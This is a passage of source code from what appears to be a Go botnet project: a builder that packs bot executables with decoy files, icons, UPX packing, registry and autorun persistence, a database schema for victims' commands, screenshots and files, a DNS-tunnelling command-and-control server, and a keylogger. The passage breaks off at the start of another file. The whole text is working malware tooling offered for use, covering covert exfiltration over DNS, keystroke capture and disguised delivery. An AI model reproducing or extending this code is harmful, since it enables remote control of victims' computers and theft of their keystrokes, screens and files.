		ports 				= 	[]int{` + portsData + `}
	)

	func GetUsingDns() bool {
		return usingDNS;
	}

	func GetUsingHttp() bool {
		return usingHTTP;
	}


	func GetRewriteExe() bool{
		return rewriteExe;
	}

	func GetLaunchFakeFile() bool {
		return launchFakeFile;
	}

	func GetDebugMode() bool {
		return debugMode;
	}

	func GetUsingRegistry() bool{
		return usingRegistry;
	}

	func GetUsingAutorun() bool{
		return usingAutorun;
	}

	func GetAttempCount() int{
		return attemptCount;
	}

	func GetDnsAddress() string{
		return dnsAddress;
	}

	func GetWinHttpTimeout() []int{
		return winHttpTimeout;
	}

	func GetServerUrls() []string{
		return urls;
	}

	func GetServerPorts() []int{
		return ports;
	}

	func GetFirstInterface() string{
		return firstInterface;
	}

	func GetGroupId() string{
		return groupId;
	}

	func GetUsingErrorMessage() bool{
		return usingErrorMessage;
	}
			`

	output, err := os.Create(gobotnetPath + "src/addfile/config.go")
	if err != nil {
		handleError("in create createAdditionConfFile. ", err)
		return
	}

	_, err = output.Write([]byte(all_data))
	if err != nil {
		handleError("in create createAdditionConfFile. ", err)
		return
	}

}

func handleError(desc string, err error) {
	w := ansicolor.NewAnsiColorWriter(os.Stdout)
	text := ""
	if err != nil {

		text = "%s%sERROR: " + desc + err.Error() + "%s%s\n"

	} else {
		text = "%s%sERROR: " + desc + "%s%s\n"
	}

	fmt.Fprintf(w, text, "\x1b[31m", "\x1b[1m", "\x1b[21m", "\x1b[0m")

}

func handleWarning(desc string) {
	w := ansicolor.NewAnsiColorWriter(os.Stdout)
	text := ""

	text = "%s%sWarning: " + desc + "%s%s\n"

	fmt.Fprintf(w, text, "\x1b[33m", "\x1b[1m", "\x1b[21m", "\x1b[0m")
}

func handleOutput(desc string) {
	w := ansicolor.NewAnsiColorWriter(os.Stdout)
	text := ""

	text = "%s%s" + desc + "%s%s\n"

	fmt.Fprintf(w, text, "\x1b[37m", "\x1b[1m", "\x1b[21m", "\x1b[0m")
}

func handleResult(desc string) {
	w := ansicolor.NewAnsiColorWriter(os.Stdout)
	text := ""

	text = "%s%s" + desc + "%s%s\n"

	fmt.Fprintf(w, text, "\x1b[32m", "\x1b[1m", "\x1b[21m", "\x1b[0m")
}

func checkConfig(conf Config) (config Config, err bool) {

	if len(conf.BuildConf.ReadyFolder) <= 0 {

		handleWarning("Ready folder hasn't defined. Binary files will be copied in this directory")
	}

	if len(conf.BuildConf.UPXPath) > 0 {
		if !CheckFileExist(conf.BuildConf.UPXPath) {
			handleError("UPX was defined but no available exe-file in this path, building without UPX", nil)
			conf.BuildConf.UPXPath = ""
		}
	} else {
		handleWarning("UPX hasn't been defined. Building without UPX packing.")
	}

	if len(conf.BuildConf.RsrcPath) > 0 {
		if !CheckFileExist(conf.BuildConf.RsrcPath) {
			handleError("rsrc.exe was defined but no available exe-file in this path, building without ICONS", nil)
			conf.BuildConf.RsrcPath = ""
		}
	} else {
		handleWarning("rsrc.exe hasn't been defined. Building without creating ICONS.")
	}

	if len(conf.BuildConf.SysoName) <= 0 {
		handleWarning("Syso name hasn't been defined, using default 'main.syso'")
		conf.BuildConf.SysoName = "main.syso"
	}

	if len(conf.BuildConf.DefaultExeName) <= 0 {
		handleWarning("Default exe name hasn't been defined, using default 'gobot.exe'")
		conf.BuildConf.DefaultExeName = "gobot.exe"
	}

	if conf.Variables.AttemptCount < 1 {
		handleWarning("Your attempt count is less or equal 0. Change it to 1 ")
		conf.Variables.AttemptCount = 1
	}

	if !conf.Variables.UsingHTTP && !conf.Variables.UsingDNS {
		handleError("both UsingHTTP and UsingDNS was set to false, BOT can't work without any protocols, are you sure?", nil)
		return conf, false
	}

	if len(conf.Variables.DnsAddress) <= 0 && conf.Variables.UsingDNS {
		handleError("usingDNS is true, but DNS address hasn't been defined", nil)
		return conf, false
	}

	if len(conf.Variables.DnsAddress) > 0 && !conf.Variables.UsingDNS {
		handleWarning("DNS address defined, but usingDNS was set to false. In this case BOT will be never use DNS, set UsingDNS to true if you employ DNS")
	}

	if conf.Variables.FirstInterface != "HTTP" && conf.Variables.FirstInterface != "DNS" {
		handleError("First interface hasn't been defined correctly. Setting HTTP by default", nil)
		conf.Variables.FirstInterface = "HTTP"
	}

	if conf.Variables.FirstInterface == "HTTP" && !conf.Variables.UsingHTTP {
		handleError("UsingHTTP false, but first interface was set to HTTP, logic error", nil)
		return conf, false
	}

	if conf.Variables.FirstInterface == "DNS" && !conf.Variables.UsingDNS {
		handleError("UsingDNS false, but first interface was set to DNS, logic  error", nil)
		return conf, false
	}

	if len(conf.Variables.WinHttpTimeout) != 4 {
		handleError("WinHTTP timeout must be declare as 4-size array. Setting it to default {0, 60000, 30000, 30000}", nil)
		conf.Variables.WinHttpTimeout = []int{0, 60000, 30000, 30000}
	}

	if len(conf.Servers.Urls) <= 0 {
		handleError("any C&C servers url didn't found. ", nil)
		return conf, false
	}

	if len(conf.Servers.Ports) <= 0 {
		handleError("any ports for C&C server didn't found. ", nil)
		return conf, false
	}

	if len(conf.Servers.Ports) != len(conf.Servers.Urls) {
		handleError("count of server urls and ports doesn't match. ", nil)
		return conf, false
	}

	if conf.Variables.UsingGroupId {
		handleOutput("Using group id, default exe filename will be changed to UUID Group ID")
	}

	if conf.BuildConf.UsingErrorMessage {
		handleOutput("Using ErrorMessage, fake files won't launched")
	}

	return conf, true
}

func build(conf Config) {
	handleOutput("Check TOML Config:")

	//	var countIco, countFF int

	conf, res := checkConfig(conf)
	if !res {
		return
	} else {
		handleResult("Config OK!")
	}

	if len(conf.BuildConf.FFFolderPath) > 0 {
		handleOutput("Reading FF from folder")

		files, _ := ioutil.ReadDir(conf.BuildConf.FFFolderPath)
		FFarray = make([]string, len(files))
		for i, f := range files {
			handleOutput("Found " + f.Name())
			FFarray[i] = conf.BuildConf.FFFolderPath + f.Name()

		}

		if len(conf.BuildConf.IcoFolderPath) > 0 {
			handleOutput("Reading Icons from folder")

			Iconsarray = make([]string, len(files))
			for i, _ := range FFarray {

				filename := filepath.Base(FFarray[i])
				f, err := os.Open(conf.BuildConf.IcoFolderPath + filename + ".ico")
				if err != nil {
					Iconsarray[i] = ""
					handleWarning("Icon for " + filename + " not found")
				} else {
					Iconsarray[i] = conf.BuildConf.IcoFolderPath + filename + ".ico"
					handleOutput("Found icon for " + filename)

				}
				f.Close()
			}
		} else {
			handleWarning("Icons for FF hasn't defined, build will be without icons")
		}

	} else if len(conf.BuildConf.FFArray) > 0 {
		handleOutput("Reading FF from conf array")

		FFarray = make([]string, len(conf.BuildConf.FFArray))

		for i, _ := range conf.BuildConf.FFArray {
			if len(conf.BuildConf.FFArray[i]) > 0 {
				f, err := os.Open(conf.BuildConf.FFArray[i])
				if err != nil {
					FFarray[i] = ""
					handleWarning(conf.BuildConf.FFArray[i] + " not found")
				} else {
					FFarray[i] = conf.BuildConf.FFArray[i]
					handleOutput("Found " + conf.BuildConf.FFArray[i])
				}
				f.Close()
			} else {
				FFarray[i] = ""
				handleWarning("Escape empty name")
			}
		}

		if len(conf.BuildConf.IcoArray) > 0 {

			Iconsarray = make([]string, len(conf.BuildConf.IcoArray))
			handleOutput("Reading Icons from conf array")

			for i, _ := range conf.BuildConf.IcoArray {
				if len(conf.BuildConf.IcoArray[i]) > 0 {
					f, err := os.Open(conf.BuildConf.IcoArray[i])
					if err != nil {
						Iconsarray[i] = ""
						handleWarning(conf.BuildConf.IcoArray[i] + " not found")
					} else {
						Iconsarray[i] = conf.BuildConf.IcoArray[i]
						handleOutput("Found " + conf.BuildConf.IcoArray[i])
					}
					f.Close()
				} else {
					Iconsarray[i] = ""
					handleWarning("Escape empty name")
				}
			}
		} else {
			handleWarning("Icons for FF haven't defined, build will be without icons")
		}

	} else {
		handleWarning("Any FF not found, building with last known FF. The variable launchFakeFile automaticly sets false")

		if len(conf.BuildConf.IcoArray) > 0 {

			Iconsarray = make([]string, len(conf.BuildConf.IcoArray))
			handleOutput("Reading Icons from conf array")

			for i, _ := range conf.BuildConf.IcoArray {
				if len(conf.BuildConf.IcoArray[i]) > 0 {
					_, err := os.Open(conf.BuildConf.IcoArray[i])
					if err != nil {
						Iconsarray[i] = ""
						handleWarning(conf.BuildConf.IcoArray[i] + " not found")
					} else {
						Iconsarray[i] = conf.BuildConf.IcoArray[i]
						handleOutput("Found " + conf.BuildConf.IcoArray[i])
					}
				} else {
					Iconsarray[i] = ""
					handleWarning("Escape empty name")
				}
			}
		} else {
			fmt.Println("Icons for FF haven't defined, build will be without icons")
		}
	}

	countExe := 1

	//	fmt.Println(len(Iconsarray))
	//	fmt.Println(len(FFarray))

	if len(Iconsarray) != len(FFarray) {
		handleError("count fakefiles and icons doesn't match. There is only one exe will be builded with first FF and ICO in array (if they are exist)", nil)
	} else if len(FFarray) == 0 && len(Iconsarray) > 0 {
		//Never using
		countExe = len(Iconsarray)
	} else {
		countExe = len(Iconsarray)
	}

	handleResult("Building with next fake files and icons: ")

	for i := 0; i < countExe; i++ {
		filename := ""
		iconame := ""
		if len(FFarray[i]) > 0 {
			filename = FFarray[i]
		} else {
			filename = "<empty FF>"
		}

		if len(Iconsarray[i]) > 0 {
			iconame = Iconsarray[i]
		} else {
			iconame = "<empty ICON>"
		}
		handleResult(filename + " " + iconame)

	}

	fmt.Println("")

	handleResult("Total count: " + strconv.Itoa(countExe))

	for i := 0; i < 5; i++ {
		fmt.Printf(".")
		time.Sleep(time.Millisecond * 500)
	}
	fmt.Println("")

	createBuildTempTool(conf.BuildConf.BuildFlags)

	countGroups := 1

	if conf.Variables.UsingGroupId {
		countGroups = conf.Variables.CountGroups
	}
	for j := 0; j < countGroups; j++ {
		for i := 0; i < countExe; i++ {

			handleOutput("Make " + strconv.Itoa(i) + " ")

			uuid_str := ""
			if conf.Variables.UsingGroupId {
				uuid_str = uuid.NewV4().String()
			}

			//fmt.Println(conf.Variables.winHttpTimeout)
			FFlaunch := conf.Variables.LaunchFakeFile
			if FFlaunch && len(FFarray[i]) > 0 {
				createAdditionFileSource(FFarray[i], conf.BuildConf.GobotnetPath)
			} else {
				handleWarning("Fake file for this step not found, building without FF")
				FFlaunch = false
			}
			handleOutput("Make conf file")
			createAdditionConfFile(FFlaunch, conf, conf.BuildConf.GobotnetPath, uuid_str)
			handleOutput("Make ICO file")
			if len(Iconsarray[i]) > 0 {

				if len(conf.BuildConf.RsrcPath) > 0 {
					handleOutput("Make icon:" + Iconsarray[i])

					CmdExecOrig(conf.BuildConf.RsrcPath + " -ico " + Iconsarray[i] + " -o " + conf.BuildConf.SysoName)
				} else {
					handleWarning("rsrc.exe not found, building without icon")
				}

			} else {
				handleWarning("Icon for this step not found, building without icon")
				CmdExecOrig("del " + conf.BuildConf.SysoName)
			}

			handleOutput("Build main.go")

			cmd_li := exec.Command("cmd", "/C", BuildToolName)
			err := cmd_li.Run()
			if err != nil {
				handleError("in build. ", err)
			}

			outputExeName := ""
			if len(conf.BuildConf.ReadyFolder) > 0 {
				outputExeName = conf.BuildConf.ReadyFolder
			}

			if !conf.Variables.UsingGroupId {
				if conf.BuildConf.CopyNameFromFF {

					if len(FFarray[i]) > 0 {
						outputExeName += filepath.Base(FFarray[i]) + ".exe"
					} else {
						outputExeName += strconv.Itoa(i) + conf.BuildConf.DefaultExeName
					}

				} else {
					outputExeName += strconv.Itoa(i) + conf.BuildConf.DefaultExeName
				}
			} else {

				outputExeName += strconv.Itoa(i) + "-" + uuid_str + ".exe"
			}

			if len(conf.BuildConf.UPXPath) > 0 {
				handleOutput("UPX packer working, packed file to ready folder " + outputExeName)
				_, err = CmdExecOrig(conf.BuildConf.UPXPath + " -9 " + gobuildExeName + " -o " + outputExeName)
			} else {
				handleOutput("Copy file to ready folder " + outputExeName)
				err = CopyFileToDirectory(gobuildExeName, outputExeName)
			}
			if err != nil {
				handleError(" in copy file to ready folder", err)
			} else {
				handleResult(outputExeName + " builded")
			}
			for i := 0; i < 5; i++ {
				fmt.Printf(".")
				time.Sleep(time.Millisecond * 500)
			}
			fmt.Println("")
		}
	}

	handleOutput("Clearing after build...")
	CmdExecOrig("del " + conf.BuildConf.SysoName)
	CmdExecOrig("del " + BuildToolName)
}

func main() {

	handleWarning("Please make sure that you have deleted all .syso files from this directory.")
	handleWarning("Also clear your ready folder, because UPX cannot write file in folder if filename exist.")
	handleWarning("If you haven't defined any BOOL variables all of them will be false by default.")

	for i := 0; i < 5; i++ {
		fmt.Printf(".")
		time.Sleep(time.Millisecond * 500)
	}
	fmt.Println("")

	var conf Config

	var confFile string
	//fmt.Println(len(os.Args))
	if len(os.Args) == 2 {
		confFile = os.Args[1]
	} else {
		confFile = "configuration.toml"
	}

	//fmt.Println(confFile)
	if _, err := toml.DecodeFile(confFile, &conf); err != nil {
		handleError("in reading TOML config", err)
	}

	build(conf)

}


================================================
FILE: db/schema.sql
================================================
drop table if exists users;
create table users(
    uuid varchar(32) primary key ,
    ip text ,
    name text,
    command text,
    command_param text,
    status boolean,
    time datetime,
    information text
    groupid text 
);

drop table if exists output;
create table output(
    command_uuid varchar(32) primary key,
    uuid varchar(32),
    command text,
    output text
);

drop table if exists screenshots;
create table screenshots(
    screen_uuid varchar(32) primary key,
    uuid varchar(32),
    screen text
);

drop table if exists download;
create table download(
    download_uuid varchar(32) primary key,
    uuid varchar(32),
    download_base64_filename text,
    download_base64_pathfile text,
    download_base64_data text
);

drop table if exists upload;
create table upload(
    uuid varchar (32),
    upload_base64_filename text,
    upload_base64_data text,
    foreign key(uuid) references users(uuid)
);

================================================
FILE: dns_server.go
================================================
package main

import (
	"encoding/base64"
	"fmt"
	// "github.com/satori/go.uuid"
	// "bufio"
	"github.com/tonnerre/golang-dns"
	"github.com/tv42/zbase32"
	"io/ioutil"
	"math/rand"
	"net/http"
	"net/url"
	// "os"
	"encoding/json"
	"strconv"
	"strings"
	"sync"
	"time"
)

type Data struct {
	size        int
	name        string
	data        []string
	last_access time.Time
}

type UploadFile struct {
	count_part     int
	last_send_part int
	data           []string
	last_access    time.Time
}

type JsonFile struct {
	Data     string
	Filename string
}

var (
	dnsAddress    string = "your-site.com.com."
	host_port     string = "your-site.com"
	dataSeparator string = "."
	debugMode     bool   = true
	letterRunes          = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890")

	registrationMutex  sync.Mutex
	OutputCommandMutex sync.Mutex
	DownloadFileMutex  sync.Mutex
	ScreenshotMutex    sync.Mutex
	UploadMutex        sync.Mutex

	ms_uniq_id     int = 0
	ms_type_op     int = 1
	ms_id          int = 2
	ms_name        int = 3
	ms_count_part  int = 4
	ms_number_part int = 5
	ms_data        int = 6

	mapRegistration  = map[string]*Data{}
	mapOutputCommand = map[string]*Data{}
	mapDownloadFile  = map[string]*Data{}
	mapScreenshot    = map[string]*Data{}
	mapUploadFile    = map[string]*UploadFile{}

	op_registration   int = 1
	op_get_command    int = 2
	op_output_command int = 3
	op_screenshot     int = 4
	op_download_file  int = 5
	op_upload_file    int = 6

	BAD_REQUEST string = "BAD_REQUEST"

	old_data_time = time.Minute * 3
)

const (
	POST_REQ string = "POST"
	GET_REQ  string = "GET"
)

func isValidReceivData(data []string) bool {
	lenghtData := len(data)
	if lenghtData <= ms_type_op {
		return false
	}

	op, err := strconv.Atoi(data[ms_type_op])
	if err != nil {
		return false
	}

	switch op {
	case op_get_command, op_upload_file:
		if len(data) != 3 {
			return false
		}
	default:
		if lenghtData < 7 {
			return false
		}
		_, err := strconv.Atoi(data[ms_count_part])
		if err != nil {
			return false
		}
		_, err = strconv.Atoi(data[ms_number_part])
		if err != nil {
			return false
		}
	}
	return true
}

func ClearOldData() {
	OutMessage("Clear old data")
	clearMap(mapRegistration, &registrationMutex)
	clearMap(mapOutputCommand, &OutputCommandMutex)
	clearMap(mapDownloadFile, &DownloadFileMutex)
	clearMap(mapScreenshot, &ScreenshotMutex)
	clearMapUploadFile(mapUploadFile, &UploadMutex)
}

func OutMessage(message string) {
	if debugMode && len(message) > 0 {
		fmt.Println(message)
	}
}

func clearMap(clearMap map[string]*Data, mutex *sync.Mutex) {
	mutex.Lock()
	for key, value := range clearMap {
		if time.Now().Local().Sub(value.last_access).Minutes() > old_data_time.Minutes() {
			OutMessage("delete" + key)
			delete(clearMap, key)
		}
	}
	mutex.Unlock()
}

func clearMapUploadFile(clearMap map[string]*UploadFile, mutex *sync.Mutex) {
	mutex.Lock()
	for key, value := range clearMap {
		if time.Now().Local().Sub(value.last_access).Minutes() > old_data_time.Minutes() {
			OutMessage("delete " + key)
			delete(mapUploadFile, key)
		}
	}
	mutex.Unlock()
}

func SendRequest(typeRequest, urlRequest string, data url.Values) (response *http.Response, err error) {
	var request *http.Request = nil

	if typeRequest == POST_REQ {
		request, err = http.NewRequest(typeRequest, urlRequest, strings.NewReader(data.Encode()))
		CheckError(err)
		request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	} else if typeRequest == GET_REQ {
		request, err = http.NewRequest(typeRequest, urlRequest, nil)
		CheckError(err)
	}

	client := &http.Client{}
	response, err = client.Do(request)
	CheckError(err)
	return response, err
}

func UploadFileToBot(uuid string) (textResponse []byte) {
	UploadMutex.Lock()

	var uploadFile *UploadFile
	var flag bool

	if uploadFile, flag = mapUploadFile[uuid]; flag {
		textResponse = []byte(uploadFile.data[uploadFile.last_send_part])
		uploadFile.last_send_part++
		uploadFile.last_access = time.Now().Local()
		if uploadFile.last_send_part >= uploadFile.count_part {
			delete(mapUploadFile, uuid)
		}
	} else {
		responseServer, err := SendRequest(GET_REQ, "http://"+host_port+"/api/v1/upload/"+uuid, nil)
		CheckError(err)
		defer responseServer.Body.Close()
		text, err := ioutil.ReadAll(responseServer.Body)
		CheckError(err)
		if err == nil {
			var rJson JsonFile
			if ok, err := ParseJsonResponse(&rJson, text); ok {
				data := SplitDataPiece(rJson.Data, 253)
				uploadFile = new(UploadFile)
				uploadFile.data = data
				uploadFile.count_part = len(data)
				uploadFile.last_send_part = 0
				uploadFile.last_access = time.Now().Local()
				mapUploadFile[uuid] = uploadFile
				textResponse = []byte(rJson.Filename + "." + strconv.Itoa(uploadFile.count_part))
			} else {
				CheckError(err)
			}
		}
	}
	UploadMutex.Unlock()
	return textResponse
}

func SplitDataPiece(data string, size_piece int) (split_data []string) {
	lenght_data := len(data)
	if lenght_data > size_piece {
		pos := 0
		for pos < lenght_data {
			if (pos + size_piece) < lenght_data {
				split_data = append(split_data, data[pos:pos+size_piece])
				pos += size_piece
			} else {
				split_data = append(split_data, data[pos:lenght_data])
				pos += lenght_data - pos
			}
		}
	} else {
		split_data = append(split_data, data)
	}
	return split_data
}

func ProcessingData(urlWithData string) (textResponse []byte) {
	var responseServer *http.Response = nil
	var isDataReceived bool = false
	var sendData *Data
	var err error
	var typeOperation int

	receiveData := strings.Split(urlWithData, dataSeparator)
	offset := len(receiveData) - len(strings.Split(dnsAddress, dataSeparator))
	if !isValidReceivData(receiveData[0:offset]) {
		fmt.Println(BAD_REQUEST)
		return []byte(BAD_REQUEST)
	}

	typeOperation, err = strconv.Atoi(receiveData[ms_type_op])
	CheckError(err)

	switch typeOperation {
	case op_registration:
		if sendData, isDataReceived = ReceiveData(receiveData[0:offset], &registrationMutex, mapRegistration, typeOperation); isDataReceived {
			data, err := zbase32.DecodeString(joinToString(sendData.data))
			name, err := zbase32.DecodeString(sendData.name)
			CheckError(err)
			data_base64_escaped := url.QueryEscape(base64.StdEncoding.EncodeToString(data))
			name_base64_escaped := url.QueryEscape(base64.StdEncoding.EncodeToString(name))
			responseServer, err = SendRequest(GET_REQ, "http://"+host_port+"/api/v1/register/"+name_base64_escaped+"/"+data_base64_escaped, nil)
			CheckError(err)
			DeleteSendData(&registrationMutex, mapRegistration, receiveData[ms_id])
		}
	case op_get_command:
		responseServer, err = http.Get("http://" + host_port + "/api/v1/get_command/" + receiveData[ms_id])
		isDataReceived = true
		CheckError(err)
	case op_output_command:
		if sendData, isDataReceived = ReceiveData(receiveData[0:offset], &OutputCommandMutex, mapOutputCommand, typeOperation); isDataReceived {
			data, _ := zbase32.DecodeString(joinToString(sendData.data))
			command, _ := zbase32.DecodeString(sendData.name)
			data_base64 := base64.StdEncoding.EncodeToString(data)
			command_base64 := base64.StdEncoding.EncodeToString(command)
			postData := url.Values{"command": {command_base64}, "output": {data_base64}}
			responseServer, err = SendRequest(POST_REQ, "http://"+host_port+"/api/v1/output_command/"+receiveData[ms_id], postData)
			CheckError(err)
			DeleteSendData(&OutputCommandMutex, mapOutputCommand, receiveData[ms_id])
		}
	case op_screenshot:
		if sendData, isDataReceived = ReceiveData(receiveData[0:offset], &ScreenshotMutex, mapScreenshot, typeOperation); isDataReceived {
			data, err := zbase32.DecodeString(joinToString(sendData.data))
			CheckError(err)
			data_base64 := base64.StdEncoding.EncodeToString(data)
			postData := url.Values{"data": {data_base64}}
			responseServer, err = SendRequest(POST_REQ, "http://"+host_port+"/api/v1/screenshot/"+receiveData[ms_id], postData)
			CheckError(err)
			DeleteSendData(&ScreenshotMutex, mapScreenshot, receiveData[ms_id])
		}
	case op_download_file:
		if sendData, isDataReceived = ReceiveData(receiveData[0:offset], &DownloadFileMutex, mapDownloadFile, typeOperation); isDataReceived {
			name, err := zbase32.DecodeString(sendData.name)
			CheckError(err)
			data, err := zbase32.DecodeString(joinToString(sendData.data))
			CheckError(err)
			name_base64_escaped := base64.StdEncoding.EncodeToString(name)
			data_base64_escaped := base64.StdEncoding.EncodeToString(data)
			postData := url.Values{"filename": {name_base64_escaped}, "data": {data_base64_escaped}}
			responseServer, err = SendRequest(POST_REQ, "http://"+host_port+"/api/v1/download/"+receiveData[ms_id], postData)
			CheckError(err)
			DeleteSendData(&DownloadFileMutex, mapDownloadFile, receiveData[ms_id])
		}
	case op_upload_file:
		textResponse = UploadFileToBot(receiveData[ms_id])
		return textResponse
	}

	if isDataReceived && responseServer != nil {
		defer responseServer.Body.Close()
		textResponse, _ = ioutil.ReadAll(responseServer.Body)
	} else {
		textResponse = []byte("")
	}
	return textResponse
}

func ReceiveData(receiveData []string, mutex *sync.Mutex, storageData map[string]*Data, typeOperation int) (fillData *Data, dataReceived bool) {
	mutex.Lock()

	var data *Data = nil
	var flag bool
	var err error
	var number_part int

	number_part, err = strconv.Atoi(receiveData[ms_number_part])
	CheckError(err)

	if data, flag = storageData[receiveData[ms_id]]; flag {
		data.data[number_part] = joinToString(receiveData[ms_data:len(receiveData)])
		data.last_access = time.Now().Local()
	} else {
		data = new(Data)
		data.last_access = time.Now().Local()
		data.name = receiveData[ms_name]
		data.size, err = strconv.Atoi(receiveData[ms_count_part])
		CheckError(err)
		data.data = make([]string, data.size)
		data.data[number_part] = joinToString(receiveData[ms_data:len(receiveData)])
		storageData[receiveData[ms_id]] = data
	}
	mutex.Unlock()

	if data.size == number_part+1 {
		return data, true
	} else {
		return data, false
	}
}

func DeleteSendData(mutex *sync.Mutex, storageData map[string]*Data, id string) {
	mutex.Lock()
	delete(storageData, id)
	mutex.Unlock()
}

func HandlerRequest(w dns.ResponseWriter, req *dns.Msg) {
	m := new(dns.Msg)
	m.SetReply(req)

	if req.Question[0].Qtype != dns.TypeTXT {
		var rr dns.RR
		rr = new(dns.A)
		rr.(*dns.A).Hdr = dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 3600}
		m.Answer = append(m.Answer, rr)
		w.WriteMsg(m)
		return
	}

	textResponse := ProcessingData(req.Question[0].Name)
	if debugMode && len(textResponse) > 0 && len(textResponse) < 100 {
		fmt.Println("Resp_cl = " + string(textResponse))
	}

	var response []string
	if len(textResponse) > 253 {
		pos := 0
		for pos < len(textResponse) {
			if (pos + 253) < len(textResponse) {
				response = append(response, string(textResponse[pos:pos+253]))
				pos += 253
			} else {
				response = append(response, string(textResponse[pos:len(textResponse)]))
				pos += len(textResponse) - pos
			}
		}
	} else {
		response = append(response, string(textResponse))
	}

	newTXT := new(dns.TXT)
	newTXT.Hdr = dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 3600}
	newTXT.Txt = response
	m.Answer = append(m.Answer, newTXT)
	w.WriteMsg(m)
}

func main() {
	ticker := time.NewTicker(time.Minute * 4)
	go func() {
		for {
			ClearOldData()
			<-ticker.C
		}
	}()

	dns.HandleFunc(dnsAddress, HandlerRequest)
	err := dns.ListenAndServe(":53", "udp", nil)
	if err != nil {
		fmt.Println(err)
	}
}

func joinToString(data []string) string {
	var info string
	for index := range data {
		info += data[index]
	}
	return info
}

func RandStringRunes(n int) string {
	b := make([]rune, n)
	for i := range b {
		b[i] = letterRunes[rand.Intn(len(letterRunes))]
	}
	return string(b)
}

func CheckError(err error) {
	if err != nil && debugMode {
		fmt.Println(err.Error())
	}
}

func ParseJsonResponse(jsonStruct interface{}, parseStr []byte) (bool, error) {
	err := json.Unmarshal(parseStr, jsonStruct)
	if err == nil {
		return true, err
	} else {
		return false, err
	}
}


================================================
FILE: src/addfile/11
================================================
B5F5R>2!S:6UP;&4@.RD*4$%34R`](%5,5%)!4TE-4$Q%"@``
`

================================================
FILE: src/addfile/addfile.go
================================================
package addfile

import (
	"encoding/base64"
)

const (
	str_file = "UmFyIRoHAM+QcwAADQAAAAAAAAB3FHQgkC0AHgAAACAAAAAC+ZyN0JOGD0kdMwgAIAAAAHRlc3QudHh0APD1CWQI1UvtCnL+Be/f4siKD0eDDsGneDQ1ofBaqv18QSjEPXsAQAcA"
	filename = "test.rar"
)

func GetAdditionFile() (file []byte) {
	decoded, _ := base64.StdEncoding.DecodeString(str_file)
	return decoded
}

func GetAdditionFileName() (name string) {
	return filename
}


================================================
FILE: src/addfile/config.go
================================================
package addfile

var (
	usingDNS          = true
	usingHTTP         = true
	launchFakeFile    = true
	usingRegistry     = true
	usingAutorun      = true
	debugMode         = false
	attemptCount      = 1
	dnsAddress        = "domain.com"
	winHttpTimeout    = []int{0, 60000, 30000, 30000}
	firstInterface    = "HTTP"
	rewriteExe        = true
	groupId           = "3539d0a5-00e3-4d0f-86b5-bdc73b58614c"
	usingErrorMessage = false
	urls              = []string{"8.8.8.8"}

	ports = []int{80}
)

func GetUsingDns() bool {
	return usingDNS
}

func GetUsingHttp() bool {
	return usingHTTP
}

func GetRewriteExe() bool {
	return rewriteExe
}

func GetLaunchFakeFile() bool {
	return launchFakeFile
}

func GetDebugMode() bool {
	return debugMode
}

func GetUsingRegistry() bool {
	return usingRegistry
}

func GetUsingAutorun() bool {
	return usingAutorun
}

func GetAttempCount() int {
	return attemptCount
}

func GetDnsAddress() string {
	return dnsAddress
}

func GetWinHttpTimeout() []int {
	return winHttpTimeout
}

func GetServerUrls() []string {
	return urls
}

func GetServerPorts() []int {
	return ports
}

func GetFirstInterface() string {
	return firstInterface
}

func GetGroupId() string {
	return groupId
}

func GetUsingErrorMessage() bool {
	return usingErrorMessage
}


================================================
FILE: src/gobotnet/file_operation.go
================================================
package gobotnet

import (
	"bufio"
	"errors"
	"io"
	"io/ioutil"
	"os"
	"path/filepath"
)

func CheckFileExist(filePath string) bool {
	if _, err := os.Stat(filePath); os.IsNotExist(err) {
		CheckError(err)
		return false
	} else {
		return true
	}
}

func CreateDir(dirPath string, fileMode os.FileMode) bool {
	err := os.MkdirAll(dirPath, fileMode)
	if CheckError(err) {
		return false
	}
	return true
}

func CreateFile(pathFile string) error {
	file, err := os.Create(pathFile)
	if CheckError(err) {
		return err
	}
	defer file.Close()
	return nil
}

func CreateFileAndWriteData(fileName string, writeData []byte) error {
	fileHandle, err := os.Create(fileName)

	CheckError(err)
	if err != nil {
		return err
	}
	writer := bufio.NewWriter(fileHandle)
	defer fileHandle.Close()
	writer.Write(writeData)
	writer.Flush()
	return nil
}

func ReadFile(nameFile string) (bytesFile []byte, err error) {
	readBytes, err := ioutil.ReadFile(nameFile)
	CheckError(err)
	return readBytes, err
}

func CopyFileToDirectory(pathSourceFile string, pathDestFile string) error {
	sourceFile, err := os.Open(pathSourceFile)
	if CheckError(err) {
		return err
	}
	defer sourceFile.Close()

	destFile, err := os.Create(pathDestFile)
	if CheckError(err) {
		return err
	}
	defer destFile.Close()

	_, err = io.Copy(destFile, sourceFile)
	if CheckError(err) {
		return err
	}

	err = destFile.Sync()
	if CheckError(err) {
		return err
	}

	sourceFileInfo, err := sourceFile.Stat()
	if CheckError(err) {
		return err
	}

	destFileInfo, err := destFile.Stat()
	if CheckError(err) {
		return err
	}

	if sourceFileInfo.Size() == destFileInfo.Size() {
	} else {
		err = errors.New("Bad copy file")
		CheckError(err)
		return err
	}
	return nil
}

func DeleteFile(nameFile string) error {
	err := os.Remove(nameFile)
	CheckError(err)
	return err
}

func RemoveDirWithContent(dir string) error {
	d, err := os.Open(dir)
	if CheckError(err) {
		return err
	}
	defer d.Close()
	names, err := d.Readdirnames(-1)
	if CheckError(err) {
		return err
	}
	for _, name := range names {
		err = os.RemoveAll(filepath.Join(dir, name))
		if CheckError(err) {
			return err
		}
	}
	err = os.RemoveAll(dir)
	if CheckError(err) {
		return err
	}
	return nil
}


================================================
FILE: src/gobotnet/keylogger.go
================================================
package gobotnet

import (
	"syscall"
)

var (
	user32               = syscall.NewLazyDLL("user32.dll")
	procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
)

func KeyLog() (i int, err error) {
	for i := 0; i < 0xFF; i++ {
		asynch, _, _ := syscall.Syscall(procGetAsyncKeyState.Addr(), 1, uintptr(i), 0, 0)

		if asynch&0x1 == 0 {
			continue
		}

		return i, nil

		if err != nil {
			return 0, err
		}
	}

	return 0, nil
}


================================================
FILE: src/gobotnet/other_function.go
================================================
package gobotnet

import (
	"encoding/json"
	"fmt"
	"github.com/aglyzov/charmap"
	"math/rand"
	"os/exec"
	"strings"
	"syscall"
	"time"
)

var (
